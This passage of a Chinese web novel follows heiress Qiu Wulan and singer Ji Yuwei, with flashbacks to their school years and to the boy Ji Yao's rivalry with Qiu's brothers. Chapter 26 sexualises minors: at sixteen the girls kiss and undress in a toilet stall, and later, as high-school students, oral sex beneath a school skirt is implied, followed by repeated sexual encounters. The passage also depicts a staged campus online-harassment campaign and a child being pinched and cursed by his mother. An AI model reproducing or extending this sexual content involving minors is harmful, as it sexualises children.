她朝门外走去,行走之间,白欧泊袖扣折出明亮绚烂的变彩,一如窗外那些无色透明的灯在饱饮财富后,霍然间璨绮辉煌、不可逼视。 …… 九点,秋叶娱乐的上班时间,距离开盘还剩半个小时。 重要岗位的精英骨干已在公司待了整夜,此时上班的都是些小角色,即便是这些小角色,也无一不来自各国顶尖名校。 电梯间、楼梯道、大厅来往的秋叶员工们步履匆匆,所有人都盯着手机、谈论昨晚的热搜,他们谈论的内容,比吃瓜群众们要晦涩许多。 有人分析着宋折凝团队离开前的蛛丝马迹; 有人猜想这是宋折凝自杀式的一场炒作; 有人认为这是公司为了回购股票故意作的一场秀; 还有极小一部分、只在高管们之间流传的猜测—— 这是邱芜澜向邱承澜发起的一场反抗革命。 朝朝天子杀旧臣,十年过去,邱芜澜已不是当年那个青涩的学生,她的翅膀足够硬,纵使脱离秋叶集团,也能带领秋叶娱乐蒸蒸日上。 何况宋折凝太不懂得收敛,有时候她对邱芜澜的态度,连外人都看着心惊胆战,邱芜澜能忍她到现在已是不易。 各种议论窃窃不休,节后第一天,整座秋叶娱乐大厦无人讨论假期生活,一股匆忙的紧迫感无形之中遮蔽其间。 最后十分打卡的上班高峰期里,一辆银色的保姆车堂而皇之停在了大厦门口。 作为娱乐公司,这种车子并不罕见。前台接待眼都不抬,忙着整理假日期间的来访电话、安排通知顺序。 车门打开,轻盈的脚步笔直靠近,不带鞋跟,是平底单鞋的声音。 意识到有人朝着接待台而来,两位接待才暂停手中的活儿,抽空抬头,露出职业微笑。 “您好,有什么可以帮您?” 走来的是一名看不出年纪的女性。 她戴着宽大的墨镜,露出的下半张脸白皙清透,一头法式卷发慵懒优雅地披在身后。 “你好。”她说,“26楼,帮我刷下卡。” 墨镜遮挡了她半张脸,但当她开口说出第一句话时,两名接待立刻认出了来人的身份。 “是…季语薇女士吗?” 女人巡视了一眼前台柜面,“需要登记么。” 那嗓音如歌如弦,发声的方式和普通人截然不同。 常有人把季语薇的声音比作天籁,天籁一词,在季语薇身上已然泛滥,然而,在亲耳听见她的声音时,跃于脑海的也依旧还是“天籁”二字。 接待沉醉于那美妙的嗓音之中,经她提醒才骤然回神,仓促地翻开登记簿,“是的是的,麻烦登记一下。” 来往秋叶娱乐的歌手多如砂砾,但唱歌好坏并不取决于音色,歌坛里的歌手大多如宋折凝一般,说话时和普通人无甚分别。 季语薇的嗓音,在天后之中也是独一份的特殊。 女人冲慌张的接待安抚性地笑了笑,她接过笔,在秋叶娱乐新一年登记表的首行,签下了自己的姓名—— 季语薇 “好的,季女士这边请。”前台引她去了电梯,刷卡后按下了26层。 “稍等,”女人拦下她,“让我想想……健身房在哪一层?” 接待很快反应过来她问的是哪类健身房:“22。” 纤细的指尖越过接待,点亮了22层的按键。 电梯门合上,来访者自始至终没有摘下墨镜,也没有出示能够表明身份的证明。 可接待毫无怀疑。 那个嗓音便是独一无二的身份证明,整个娱乐圈,再没有人说话能如此优美动听。 不需要歌唱,她的足迹已然是一串妙不可言的音符,随她而行,闻之沉溺。 清悠的提示音中,电梯门徐徐打开。 22层,这里是秋叶娱乐高管们的专属休闲厅,健身房位于走廊西侧。 刚刚上班,距离开盘还有半个小时,所有高层都在屏幕前煎熬,这里寂静空荡,没人有心情娱乐运动。 季语薇迈步走着,平底单鞋踏在地毯上悄无声息。 她穿过一排排健身器材,在最深处的蝴蝶机上看见了自己要找的人。 机械转动的声响彻底掩盖了季语薇的足音,她伫立原地。 深色的蝴蝶机上坐着和她同龄的女性,恒温的健身房中,邱芜澜脱去外衣,只留黑色的运动背心。 交叉式的背心露出脊背,随着拉握蝴蝶机的动作,她背部肌线流畅地起伏着,两块肩胛间挤压出深邃的美人沟。 朝阳从远方斜来,薄薄一层暖调涂在女人身上,与晶莹的涔汗共同为那完美的躯体覆上了瑰丽色彩。 轻浅的喘息落入季语薇耳中,她摘下墨镜,朝蝴蝶机无声逼近。 最后一组结束,女人松开握把的瞬间,季语薇抬手,自后方蒙住了她的双眼。 “猜猜——”她俯身凑在邱芜澜耳畔,轻笑着呵气,“猜猜看,芜澜,我会为你带来多少流量、市值和荣誉?” 回应她的是抑制不住的喘息。 邱芜澜在凌晨服下的药,药效越来越弱,她会议结束后来到了这里,用两小时高强度的无氧压制蠢蠢欲动的躁意。 皮肤接触的瞬间,季语薇的手掌被汗水濡湿,她毫不在意地贴紧了邱芜澜后背。掌心下的眼睫颤了颤,扫来轻微痒意。 她趴在邱芜澜颈窝,嗌嗌地轻笑出声,那笑像是流经雨花石的清泉,叮咚玉润,揉弦般醉人。 她自后圈着邱芜澜,双臂蒙着她的眼睛,抬头望向窗外冉冉升起的瑚城。 正对着这面窗户的,是CBD标志之一的3D裸眼大屏。 作为秋叶娱乐的台柱,每隔三小时,屏幕上面便会投放一则宋折凝的广告。 当季语薇蒙上邱芜澜眼睛时,正好播放了宋折凝的广告。 一身纯黑女士西装的宋折凝在3D裸眼的效果下踏出了荧幕。 她踩着漆皮恨天高,迈着冷傲霸气的台步,凌厉地朝健身房方位走来,睥睨着脚下车水马龙,唇上涂着代言的口红。 “真美……”季语薇喟叹,“怎么会有人舍得离开这样的美景。” 迎着旭日,她收紧手臂,像是咬合的齿轮,将湿汗淋漓、气喘微微的邱芜澜紧紧锁在怀里。 季语薇在邱芜澜身后,与傲视金融中心的宋折凝隔着一面单向玻璃对视。 玻璃倒映出室内的情形,两具姣好身影紧密贴合着。 被蒙住眼耳的邱芜澜,好似怀中玩偶,任由主人把玩; 自后拥着她的季语薇,她抵在邱芜澜发顶的头颅亦化作奢丽的皇冠,贴覆邱芜澜后背的身体成为了华美的披袍。 这两具身体,分不清谁是谁的配饰。 九点半,凛冬的太阳升至高空。 十五秒的广告时间一过,立于CBD中心上空的宋折凝消散在了光尘中,繁忙的巨型荧屏紧接着投出了下一则广告,来不及一点空档缝隙。 第26章 第二十六章·【过去】 …… 十五岁之前, 邱芜澜没有去过学校,她和哥哥邱承澜早年一样,都在家庭教师的指导下学习。 高中之前的社交难以发展为有效人脉, 既然如此,学校就毫无意义。 直到中考的前一个月, 邱芜澜才进入自己挂名的初中,了解中考内容。 那一个月里, 邱芜澜认识了她的同桌,季语薇。 她并不在乎这个嗓音特别的同学,只想尽快应付完中考, 减少时间浪费。 但季语薇对邱芜澜很感兴趣。 同桌第三周的晚自习, 一支手机越过了界限, 摆到了邱芜澜面前。 “你看, ”邱芜澜人生的第一位同桌侧着身, 笑吟吟地对她道, “大家都在说, 你一来就抢了我的风头,我现在可讨厌你了。” 邱芜澜扫过那简陋的校园论坛,标题是加粗的几个大字—— 《绿茶对白莲, 爆料季语薇邱芜澜撕逼大战》 邱芜澜眼中出现了短暂的困惑, 并非是困惑为什么自己才来三周就有人捏造这样的帖子, 她困惑的是自己的社会认知出现了偏差。 这是一所一流的中学,邱芜澜将这里的学生分为两类, 一类是拼命读书的好学生, 一类是出身富豪的有钱子弟。 濒临大考,前者不应该把精力花费在一个没有交集的新生八卦上; 至于后者——他们没有理由和她交恶。 这个帖子完全不符合邱芜澜对学生的行为分析结果,她因此产生了自我怀疑。 “很过分, 是不是?” 所有人都在埋头书写的自习室里安静无比,季语薇刻意压低了声音,“我们报复回去,好不好。” 她的声音极轻,吐字只有气音。 邱芜澜盯着季语薇,像是第一次发现“原来旁边坐着人”。 她不置可否,季语薇便算她没有拒绝。 少女勾起了一弯狡黠,她在同龄人全力冲刺中考的自习室里,倾身吻上了另一个少女的侧颊。 这画面被手机记录了下来。 她当着邱芜澜的面,将照片发进了论坛。 脸颊上残留着一点湿软的触感,邱芜澜被很多女性亲吻过,也遵照礼节亲吻过相当数量的女性,可这个吻似乎包含了非比寻常的意味。 它像是一个标记,是猎人用来锁定、追踪猎物的印记;更让邱芜澜意识到了,自己的同桌个性鲜明。 第二天开始,季语薇和邱芜澜同进同出。 她以“打脸、复仇”这一正当理由,和邱芜澜一起吃饭、一起学习,连厕所也一起去。 每当邱芜澜表露拒绝时,她便像是猫咪的尾巴,轻轻娆娆地勾蹭人腿。 摇晃的狗尾会让人联想到下贱谄媚,但妖娆晃动的猫尾,则让人受宠若惊。 她天真、娇媚、清甜如甘露,理所当然地牵动着校园里的诸多暗流。 “芜澜,我开始真的喜欢你了。”最后一场考试结束,她站在考场外问她,“你打算报什么高中?” 邱芜澜沉默片刻,似乎在思忖着些什么。 片刻,她有了决断,告诉季语薇:“我会去瑞思安国际。” 她说话时目光紧紧覆在季语薇身上,第一时间观察到少女眼角、唇角微微上拉,垂在身侧的左手拇指颤动了一下。 她在压抑得意。 得意自己猜中了邱芜澜报考的高中。 邱芜澜转身上了来接她的车,隔着车窗对季语薇颔首致意。 她道,“再见。” 少女偏头而笑,暮春的阳光一般明媚。 “再见,芜澜。” 九月开学,邱芜澜果然再次见到了季语薇。 她们不再是同一个班级,国际学校的学费向来居高不下,瑞思安作为名门中的名门,费用更是高得令人发指。 季语薇作为音乐特长生中的第一名,免去了所有教学住宿费用,得到了丰厚补贴。 音乐生所在的特长生校区和普通文化生隔了一段林荫路。 季语薇和邱芜澜在不同的校区,来自不同的家庭,有着不同的性格,可进入这所学校起,便只有一个目的——收割交际网络。 邱芜澜组建起了自己的人脉关系网,她听到了许多关于季语薇的传言。 大部分是好的,因为她的确无可挑剔; 也有小部分阴影在角落滋生,一如中考前那张荒诞的帖子。 进入高中不久,季语薇便签约了天美,而邱芜澜也忙着跟随父亲、哥哥打通自己的道路。 她们的交际寥寥无几,直到一场意外打破了这岌岌可危的平静。 邱芜澜十六岁的生日会上,天美公司为季语薇争取到了钢琴演奏的名额。 这是季语薇第一次踏入金融帝国,迈入另一个世界; 对生日会的主角邱芜澜来说,这同样是倍感压力的一天。 过了十六岁,她不再是邱岸山的“小女儿”,不再是邱家的“小公主”。 顷刻之间身份置换,从前讨好她的大人们成了她需要仔细维护、小心对待的资源。她要时刻揣摩他们、警惕他们、戒备他们、蚕食他们,稍有不留神,就会被撕成碎片。 高中之后的她们,在某一层面上都饱受压力。 这些压力成了季语薇弹琴时发抖的十指,也化为汩汩逼疯邱芜澜的躁痒。 她没能撑到宴会结束,在水晶灯下切完蛋糕,匆匆逃进了酒店卫生间。 惶恐、慌张和急切混为汹涌的激流,邱芜澜咬牙对抗着,急于回到光明的会场。 混乱之中,她隐隐听见门外的脚步,稳健的、沉缓的脚步,来自雄性。 服务这场宴会的侍者皆是精挑细选出来的高级应侍,他们有着端正的五官、良好的身材和周到的礼仪。 机械、重复的刺激不仅没能化解矛盾,反而隔靴搔痒般地将问题堆积。 邱芜澜没有多少时间可以耽搁,她急需一个突破点冲走层层躁意。 理智脆弱地拦着她,她绝不想哪天爆出自己在生日会厕所里的丑闻。这件事不能被第二个人知道。 可身体叫嚣着空虚。 自我触碰时,大脑神经已预知到了最终结果,确信并无危险性,所产生的感受反应大幅降低。 邱芜澜需要不可预测的触碰,需要神经受体从未感受过的刺激。 季语薇在这时候撞了进来。 轻盈的、无害的脚步,像是猫尾扫过小腿肚,突如其来的轻触让大脑联想到了有毒的毛虫、联想到蛇、联想到了无数未知的隐患,全身的感官由此爆发,敏感度提升至极,被悉数调动起来对抗风险灾害。 邱芜澜泄露了一丝呜咽。 她立即咬住了下唇,可隔间外还是响起了熟悉的女音:“芜澜?” 察觉到了异动,那轻柔摇摆的猫尾警觉地停滞半空。 “芜澜,是你么?”她再度询问,语气已偏向了肯定。 邱芜澜用力闭眼。 宛如两年前的那个盛夏,她在沉吟良久后,告诉了季语薇自己的报考志愿。 而今,在又一次无言的权衡后,她颤巍巍地拧开了门锁,一把抓住了那到处游荡的猫尾。 逼仄的空间里,两具年轻温热的身体紧密相连。 季语薇瞳孔收缩,她本能地挣扎了一下,感受到抗拒的邱芜澜抬眸,微红的美眸潋滟潮湿,她紧紧勒住了季语薇的后脑和腰肢。 唇瓣相贴,她停留于表面,不知是因为找寻不到这味新药的使用说明,还是因为理智的阻拦,让她不愿进一步自我堕落。 噗通、噗通…… 她感受到了对面异常强烈的心跳,这绝非悸动,而是恐惧。 邱芜澜深吸一口凉气,猛地推开了她。 砰的轻响,季语薇撞到了隔间的墙上,她惊慌地巡视四周地面。 邱芜澜迷离而冷厉地睨着她的反应。 她在找粉末和针筒。 搜寻未果,少女抵着墙板,怯怯抬眸,试探开口,“芜澜,你怎么了?” 邱芜澜极度后悔方才的冲动。 她没有回答,疲躁地撸下手链塞进季语薇的口袋,“出去。” 季语薇从未触碰过如此数量的钻石,那手链在她口袋里坠出了沉甸甸的一小团。 在这令人心安的重量支持下,她撑着背后的墙板,慢慢直起了身体,犹疑地审视面前的邱芜澜。 少女清雅的脸上晕开了潮红,她斜倚着墙板,不断吞咽唾液,眉眼间萦绕着病态的妩媚。 “芜澜,你是醉了么?”季语薇小心翼翼地靠近,将邱芜澜脸上的潮红认作酡红。 邱芜澜闭着眼,费尽全力压抑滚滚情潮。她无暇言语,拧开门锁将季语薇向外扯去,用动作表明自己的态度—— 滚。 邱芜澜并不是欲擒故纵,她没有留力,从小训练的力量足以将普通女生扯摔于地。季语薇被拽地踉跄两步,半身扑出了隔间,她对抗不了邱芜澜的力量,但强悍的核心力量和高超的平衡感让她立即稳住了身体。 她骤然旋身,裙摆绽转,像是绕树而旋的飞鸟,猛地回拥住邱芜澜,偏头吻上了她的嘴唇。 这一次,有黏腻的水声溢出。 她们交汇相融,区别于男性身体的高体脂率,她们足够柔软,如缓缓流动的淡奶油一般填补了双方之间所有缝隙。 在绵长的间隙里,季语薇拨开粘在邱芜澜眼前的发丝。 她笑着,双眸澄亮,贴着邱芜澜的嘴唇呢喃:“为什么吻我?” 邱芜澜低喘着,因为这恶心的疾病,她从未和别人如此亲近。 细腻的皮肤、温热的呼吸激出了更深一层的欲念,她扶着季语薇的腰,目光垂落在少女纤长的脖颈上。 “因为你想要我。”她说。 季语薇茫然地发出鼻音,“嗯?” 她以为这是一场天降之喜,邱家公主原来喜欢女人、默默暗恋着她,酩酊烂醉后终于按捺不住心迹。 季语薇不爱女人,但她可以爱公主。 邱芜澜微烫的呵气喷洒在她耳畔、颈窝,她说: “两年前,你和男同学抱怨我私下欺负你,不是么。” 季语薇骤然从美梦中惊醒。 “别怕。”轮到邱芜澜拨开她肩上的落发。 她拉开她礼服的背链,流畅的拉链声落在季语薇耳中,恍如剥皮的开脊声,令她全身血液僵冷滞塞。 “那个男生……姓什么来着,”拉练拉到底,和邱芜澜的指尖一起停留在季语薇的尾椎上,“你和他说,我仗着家里有钱有势,扔了你的作业、剪碎你的舞蹈鞋,还买通了校外的小混混找你麻烦。” “芜澜我…”哂笑擦过季语薇的耳尖,这是她认识邱芜澜以来第一次看见她笑,笑得她血色褪尽、如坠冰窟。 “你让他别为你担心,故作骄傲地称自己也不是好惹的。跑步的时候,你故意把我往外圈挤;趁我不在,把我的湿巾用吹风机吹干了。”邱芜澜叹息,“这不公平语薇——这场绿茶和白莲花的撕逼战里,我是不是显得过于强势了?” 季语薇绷紧了下颚,晦涩地望着邱芜澜:“你,都知道。” 天生如歌的语调,从来没有这么生涩过。 “喜欢你的男生有很多,可你只选择了他,因为他是他们之中最聪明的一个,知道投稿、发帖不能用自己的设备,特地去了不查证件的黑网吧。” “知道网吧门口有监控,所以投稿时没有引用任何‘客观事件’,全部使用了主观的猜测。” 她选择的对象具备一定法律常识,他知道描写“邱芜澜惹人讨厌”的具体事件,很容易发展为“编造、扭曲事实”、触犯法律。 法律的规则下,他不能阐述具体事件,只能写下“我觉得新来的女生很作”、“有点仗势欺人”这种似是而非的个人想法。 但这样不轻不痒的抱怨,顶多得到几句吐糟,学生们忙于考试,邱芜澜又刚来不久,没有多少人认识她,远不够引发讨论。 季语薇那几句故作乐观的“反抗”,绝非为了在男生面前塑造一个坚强可爱的形象,而是为了让他产生联想。 “我觉得新来的女生很作”、“有点仗势欺人”不够吸睛,可如果引入一个本身极具争议的热点人物,在后面加上:“季语薇也讨厌她”、“我看见体育课上,季语薇故意撞她”。 轰——爆点瞬间点燃。 “你诱导了他,俏皮地自黑,为他提供了一个绝佳的方案——绿茶和白莲花的撕逼大战。” 顺着男生的匿名投稿,校园论坛顿时掀起热浪。 邱芜澜是谁?季语薇为什么讨厌她?她们是否认识?从前发生了什么?现在闹到什么地步了?是谁投的稿?投稿人和她们是什么关系?故事里是否存在被三个女人求而不得的男人? 网络评论的人数和字数越多,事件便越发充满戾气,最终呈现的结果便是季语薇拿给邱芜澜看的那一界面。 “所以……你全都知道,”少女眼睫轻颤,自嘲地扯了扯嘴角,“把我当猴戏看。” “公敌效应是迅速拉近关系的好技巧。”那只手摘掉了奢贵的钻链,形状、姿态却不减半分美丽,她穿过季语薇的柔发,摩挲着她后颈的皮肤,直直地盯着她,“你想要我。为什么?” 学校里不乏豪门世家的子弟,季语薇的追求者中亦有几个邱芜澜认识的人。 季语薇策划这起网暴时,她们才见面不过三周,基本没有过交流。 比起她,季语薇应该有更容易的选择。 邱芜澜想知道季语薇锁定她的理由。 一切都被剖开,季语薇瞌眸叹气,认了命般。 “因为,你是最特别的那个。”她说。 邱家是最顶级的家族之一。 上天把无与伦比的钻石送到了季语薇身边,她怎能无动于衷。 “起初是这样,后来大约是虚荣。”她提唇,哭似地笑道,“芜澜,现在的你好多了。两年前,纵使你尽可能地表现友善、谦虚,可你的眼神好像所有人都不过是件商品。 “你高高在上地评判我们、估量我们,那真是不可一世的傲慢。” 捅破窗纸后她再无顾忌,玩笑似地提肩:“该怎么形容——嗯,资本家的眼神?” 邱芜澜无从否认,季语薇说的是事实。 年轻时的她,确实是青涩、冷硬的。 “那天晚自习,我靠近你后,你就像是突然发现娃娃会说话的小女孩一样,有点困惑,有点惊奇。” 季语薇抚上胸口,兀自低语,“因为我会说话,所以你不再随意地归置我,不会厌烦了就把我锁进柜子里、破旧了就扔进垃圾桶。多么稀奇,你第一次见到会说话的娃娃,所以好奇我、爱惜我,去哪里都要带上我。” 邱芜澜于是告诉了季语薇自己的高中志愿,那所高中对普通的孩子而言是难以触及的领域,学费、成绩,两者门槛都高如悬月。 她想知道季语薇的能力会激发到哪一步。 季语薇解决了前者,却败在了后方,她的文化分数没能考入瑞思安,只能走艺术特长。 这意味着,即便和邱芜澜在同一所学校,她们之间也无法产生太多交集。 课程和出道的压力令季语薇分身乏术,瑞思安的学生、尤其是艺术校区的学生每一个都出身不凡。 进入社会,季语薇认清了现实,她切切实实地明白了邱姓的份量。 学业和工作已经压得季语薇喘不过气,和遥不可及的邱芜澜相比,身边那些唾手可得的少爷千金,或许才是明智的选择。 “你颓于半路。”邱芜澜迈出了半步,她身下的裙摆微晃,小腿隔着华贵的面料顶.入了季语薇双腿之间,两条如梦似幻的礼裙化为榫卯结构,“既然如此,为什么又出现在这里。” 她分明已经放弃,却又出现在了她的生日宴会上,时刻注意着她的动向,尾随她进入了卫生间。 季语薇没有再回答,疲惫地笑叹,向后靠去,“有什么意义?无所谓了,是我天真无知,试图在你面前玩弄这些小把戏。” 她认定隔间里发生的是一场羞辱。 邱芜澜知道一切,今晚过后,她的人生将毁于不自量力的自作聪明。 邱芜澜定定凝视了一会儿季语薇的脸,手掌下的脖颈修长脆弱,不止是乐器和歌唱,季语薇同样擅长芭蕾和古典舞。 隔间安静了下来,她们不再说话,只有邱芜澜略重的呼吸与天鹅濒死时的心跳。 良久,邱芜澜反手解下自己的项链。 华光流彩的钻石,和手链配套,比手链更加沉重。 她环过季语薇的肩,将这穷奢极欲的链条套去她的脖子上,动作几近温柔,钻石残留邱芜澜的温度。 季语薇愣怔着,不明白这一举动的含义。 邱芜澜的手停在闭合的锁扣处,勾揽着少女的脖颈。 “的确是小把戏,可却是有趣的小把戏。”她抵着季语薇的额,发丝垂落,有几根蛛丝般粘在了季语薇脸上,将邱芜澜的吐息拢在季语薇面前。 “没人会不喜欢目标清晰、执行力强大的女孩。”她碾磨轻蹭着季语薇的额,“是我不好,语薇,这两年…我太累了,有太多事要做,对你缺乏关心,没有及时给予你该有的奖励,让你失去了向上的动力。” 季语薇睁眸,无论如何都没有想到会是这样的答复。 噗通、噗通…… 她听见自己的心跳越来越响,越来越悸动。 邱芜澜是特别的,她简直是所有欲望的集合体,让季语薇痴醉着迷。 她双眸红肿、呼吸燥热,像是被邱芜澜传染了一般,颤抖地抱住了她的腰,偏头与她接吻。 她们之间是独一无二的高定礼服,是冰冷华丽的钻石,是出自名师之手的妆造,充溢着财富的芬芳。 狭小的隔间阻塞了空气流通,那专属定制的高级兰草香袭向季语薇,侵入她每一寸皮肤血肉。 学业和工作的压力依然在,且越来越重。 晚自习后无人的钢琴室大门反锁,如藻的长发铺在后顶盖上,光亮、丰满的钢琴漆膜反出朦胧的月光,这是整个瑞思安最贵的三角钢琴,季语薇的琴。 她坐在罗马腿柱的实木琴凳上,面朝后顶盖,埋首于躺在顶盖上的邱芜澜校裙之下。 腥甜的兰草和新琴淡淡的木香交织出醉生梦死的狂想曲。 几个震颤,谱架上的乐章散落一地。 月光涂亮谱上的音符,多频次的强节拍后是D.S.反复记号,一遍又一遍,迟迟不见休止符出现。 那些季语薇不感兴趣的广告、综艺、影视渐渐消失在了她面前,这些时间被用在了灯火辉煌的名利场上。 无数高级酒店、私人庄园的卫生间里,季语薇褪去华丽的衣裙,只要邱芜澜需要,她便无一不从。 季语薇并不觉得耻辱,她脱下的每一件衣服,都会变成另一件更贵、更好的新衣。 高三开始,她得以出入邱家本宅。 比演播室还要大的衣帽间里挂满了闪闪发光的衣饰。 她站在镜子前,一件件试穿。 女佣跪在她身前为她试鞋,专业的设计师为她搭配从头到脚的首饰。 她将如瀑的直发烫得慵懒蓬松,长度与卷曲度无限接近邱芜澜。 她戴上了邱芜澜的耳坠,穿上了邱芜澜的衣服,沉醉在无孔不入的兰草香气之中。 这间邱芜澜鲜少光临的衣帽间,成了季语薇的天鹅湖。 “芜澜,漂亮么?”她转过身,展现姣好的身体,舞步后撤,对沙发凳上的邱芜澜轻拉裙摆、款款屈膝。 邱芜澜放下手中的平板,将密集冗长的数据倒扣在软凳上。 “漂亮极了。”她发自内心地赞叹,停顿半息,“可我总觉得,你还值得更好。” 季语薇朝她走来,每一步都踩在越堆越高的奖杯、桂冠上。 她林鸟回巢般扑向了邱芜澜,搭着她的肩膀,仰着脸献上甜腻的深吻。 在名贵的首饰、衣帽环绕下,那张脸晕满熟悉的红潮。 邱芜澜厌恶着、抗拒着遗传而来的恶病; 健康的季语薇却痴迷上瘾、乐此不疲。 “我爱你,芜澜。”她躺在一室琳琅的地毯上,长发如藻铺开,分不清谁是谁的一部分。 在无数宝物的见证下,她迷醉地抚上邱芜澜的侧颊,声音如歌优雅,“芜澜…我的芜澜,我永远爱你……” 第27章 第二十七章·【过去】 …… 季语薇是邱芜澜第一个大获全胜的项目, 在她之前,曾有个半成品,季尧。 季尧比邱芜澜想象得还要完美。 她不觉得自己两个弟弟蠢笨, 只是和季尧相比,他们的确逊色一筹。 为协调三个男孩间的矛盾, 邱芜澜为他们设下了赌约。 两个月,十七门课程, 如果邱泽安邱泽然的分数保持在季尧之上,邱芜澜便做主将他送走; 相反,如果季尧有任何一门课程超过了他们, 就可以向邱芜澜提一个要求——即便是要将邱泽安、邱泽然驱逐。 季尧不仅比邱泽安邱泽然要小, 他此前所接受的教育也相当简陋。 家长不在乎学习成绩、只跟着公办小学上课的六岁男童, 理论上刚刚识字。 事实上, 在摸底测试后, 老师们发现, 季尧的水平也正是如此。 他的记忆力相当惊人, 但两个月的时间委实太短,并不足以发生奇迹。 第三天的家庭教育课上,季尧询问老师:“老师, 我能知道哥哥们分数最低的科目么?” 他长得实在可爱, 说话时带着软软的稚音, 看惯了或早熟或跋扈的小姐少爷们,中年女家教不由得对这个男孩心生怜爱。 “泽然少爷有极高的运动天赋, 泽安少爷很擅长理科方面的课程。”女老师小声对季尧透露, “他们从小学习乐理、艺术,今年年初也已开始接受全英文教学,只在文学上稍有欠缺。” “老师, ”季尧期待地问她,“我能不能只学一门课。” “你想专攻语文吗?” 季尧抽出两本书来,“我学西方哲学。” 邱泽安邱泽然薄弱的文学,同样也是季尧薄弱的项目。 季葶从不给他买课外书,他的文学功底、词汇量远不如邱泽安邱泽然。 语文需要创作,外语很难追赶,政治涉及时事,他获取信息的速度、渠道远低于邱泽安邱泽然。 做过了摸底考的卷子后,季尧发现,他们的文科试卷里,哲学只考背诵。 对上家教惊讶的眼神,季尧低头,小手扣着书页边角。 “老师,能不能…能不能替我保密……”他极小声、极小声地哀求,“我不能回外婆家。外婆说我是个没爹的杂种,我要是回去了,会给她丢脸的。” 他像是一小块濡湿的海绵,有着同龄孩子的女人一下子心软了。 “好吧,老师会替你保密。”女家教地怜惜摸了摸他的头。 那团濡湿的小海绵一下子灿烂起来,他抱住了女家教,埋在她小腹前,“老师,你真好。阿尧好喜欢你。” “好,”女老师乐不可支道,“老师也喜欢你。” 课程结束,家教找到了邱芜澜。 “季尧说,他只想学西方哲学。” 邱芜澜完成了手中的插花,等待老师评分的途中,睨向了一旁双手交握于身前的家教。 收回目光,她了然道,“他让您保密了么?” “是的是的,他请我不要说出去。”家教的双手握得更紧,压低了嗓音,“我没有告诉两位少爷,但觉得还是应该和您说一声。” “非常好,”插花老师微笑着,帮邱芜澜调了下蕙的角度,“上轻下重,上散下聚。这个单元您已经掌握了。” 邱芜澜倾身颔首,向她致谢。 窗边立着的简提醒,“小姐,接下来是法学。” 邱芜澜从蒲团上起身,留下完成的花艺。 “老师辛苦了,”她从满脸期待的家教身边经过,“我的作品,送给您。” 她和简离开了花室,家教愣了下,对着那一瓶花干瞪眼。 这有什么用? 花艺老师意味深长地乜她,“底下那玉壶春瓶,五万八。” “哦、啊啊哈哈哈哈……”女老师掩着嘴干笑起来,将瓶端起,左右打量了一番,“别说,小姐插的是好看啊,连我们这种外行都觉得漂亮。” 她当然怜爱那个可怜的小男孩,看见他就想到了自己的儿子。 所以得为了儿子更努力赚钱才行。 两个月之后,季尧呈上了十六份不及格的成绩单,以及一份满分的西方哲学卷。 “这、这不可能!”邱泽然挥开桌上的试卷,红着眼瞪向季尧,“你耍诈!” 季尧惶恐无措地后退了两步。 邱泽然无法接受地大喊:“只是一门课而已,我有十六门比你高!你只会投机取巧!和你妈妈一样奸诈!” “邱泽然。” 邱芜澜凌厉地打断他,一字一句道,“投机取巧——够你学上一辈子。” 最初的资本,都是建立在投机取巧之上。 这是他们立足的根本。 邱芜澜回身,搂住了瘦小的季尧。 “做得很好。”她语气轻柔,目含微笑,“说说看,你的愿望。” 季尧像是被吓到了,视线越过邱芜澜,犹豫迟疑地看了眼浑身发抖的邱泽然。 邱泽然嘴唇颤动着,几次张合都没能完整地发出“姐姐”,这一词在他口中破碎。 他才是她的弟弟! 亲弟弟被别人羞辱了,她不但不护着他,还和颜悦色地夸赞敌人! 一直沉默的邱泽安忍不住开口,“姐姐,难道你真的要为了一个野种驱逐亲弟弟吗?” 邱芜澜余光瞥向他,“野种?一个在短短两月之内,就超过你们的野种。” 邱泽安一时哑口无言。 他们依赖邱芜澜,绝非敬老爱幼,而是出于尊敬。 家族内部是紧密的,也是更迭的,打败头狼的小狼,亦能让它的父母俯首称臣。 现在,姐姐的注视悉数给了季尧。 季尧看向皮肤充血的邱泽然,这高不可攀的贵族少爷,正紧紧盯着他,外强中干地求他。 上一刻,他还是邱泽安邱泽然口中的小三的孩子,任何一个女佣都能对他冷眼嘲讽; 这一刻,只要他开口,就能将邱家真正的两位少爷赶出庄园。 在诸多视线中,季尧扯了扯邱芜澜的衣袖,踮起脚同她耳语:“姐姐,我想好了:我可以有一个能学习的、单独的房间吗……” 室内的几位女佣脸色稍缓,旋即又露出轻蔑与讥笑。 邱芜澜道,“这不算愿望,我会给你安排,你还有别的想要的么?” 季尧犹豫了下,他像是觉得这个愿望已经过分了,酝酿许久才开口,道,“我还想要……一、一万块钱。” “为什么?” “钱很有用,我以后会用得到。”季尧说。 邱芜澜对简道,“拿一万现金过来。” 简用信封装了一万块,邱芜澜把信封交给季尧,在季尧仰头感谢时,她抚着男孩的脸颊,低头于额心落下一吻。 像是头狼嗅闻过新生的小狼。 她什么也没说,无声地吻完后,吩咐管家,“准备新的房间,新的老师。” 季尧捏着信封,在邱芜澜离开后,转身对上哧哧喘气的邱泽然,以及眼神晦涩的邱泽安。 这天晚上,庄园里有些吵闹。 季尧从新房间里拉开一条门缝,看见在走廊上来回匆忙的女仆,听见几句短促的疾语: “好点儿了吗?” “还在吐。” “医生开了药,说问题不大。” “是谁给少爷拿了那么多饼干!” 季尧有些疑惑,但没有往下探查的想法。 不需要刻意探查,自从那天之后,这种情况时不时便会出现,不到一年,他更是亲自撞见了在厕所呕吐的邱泽然。 从佣人们隐晦的交谈中,季尧了解到了“异食癖”这一概念。 一旦陷入焦虑情绪之中,邱泽安邱泽然就会控制不住吃糖果和饼干。 哥哥邱泽安控制不住的嚼糖,弟弟邱泽然相反,会不经咀嚼地吞下整块乃至多块饼干。 在异食癖的病例中,他们不算严重,至少吃的都是食物;但兄弟俩得的不仅仅异食癖,而是异食-暴食复合型。 不到九岁的男童,哪怕吃到身怀六甲的程度,也停止不住。 年幼的季尧不能理解心理疾病,他只觉得这是一种拙劣的戏码。 当邱芜澜来到他房间、检查他的学习情况时,就会有女佣匆匆敲门,告诉邱芜澜,“少爷犯病了。” 这时候邱芜澜会立刻去到弟弟身边,一反常态地拥抱他们,温柔地哄他们放下食物。 这幅场景熟悉而陌生。 季尧很小的时候也曾对季葶说,他想见她、头很痛。 季葶带他去了镇上的诊所,医生给季尧做了全身检查,最后告诉季葶,别太娇惯孩子,不然孩子就会通过装病博取关注。 那之后,每次季尧感到头痛时,季葶都会狠狠拧他胳膊、腰上的肉,口中咒骂道,“头痛、头痛,现在还痛吗!天天装病,烦不烦啊!” 